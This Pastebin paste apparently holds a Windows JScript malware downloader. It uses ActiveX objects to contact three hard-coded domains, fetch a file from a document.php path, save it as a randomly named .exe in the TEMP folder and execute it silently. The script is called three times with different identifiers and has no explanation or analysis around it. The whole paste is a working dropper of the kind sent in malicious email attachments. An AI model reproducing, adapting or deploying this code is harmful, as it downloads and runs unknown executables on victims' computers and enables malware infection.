Advertisement
Guest User

Untitled

a guest
Sep 15th, 2015
36
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.21 KB | None | 0 0
  1. function dl(fr) {
  2. var b = "avolonage.com selmaryachtmarket.com ihaveavoice2.com".split(" ");
  3. for (var i = 0; i < b.length; i++) {
  4. var ws = new ActiveXObject("WScript.Shell");
  5. var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + Math.round(Math.random() * 100000000) + ".exe";
  6. var dn = 0;
  7. var xo = new ActiveXObject("MSXML2.XMLHTTP");
  8. xo.onreadystatechange = function() {
  9. if (xo.readyState == 4 && xo.status == 200) {
  10. var xa = new ActiveXObject("ADODB.Stream");
  11. xa.open();
  12. xa.type = 1;
  13. xa.write(xo.ResponseBody);
  14. if (xa.size > 5000) {
  15. dn = 1;
  16. xa.position = 0;
  17. xa.saveToFile(fn, 2);
  18. try {
  19. ws.Run(fn, 1, 0);
  20. } catch (er) {};
  21. };
  22. xa.close();
  23. };
  24. };
  25. try {
  26. xo.open("GET", "http://" + b[i] + "/document.php?rnd=" + fr + "&id=" + stroke, false);
  27. xo.send();
  28. } catch (er) {};
  29. if (dn == 1) break;
  30. };
  31. };
  32. dl(10001);
  33. dl(4592);
  34. dl(5203);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement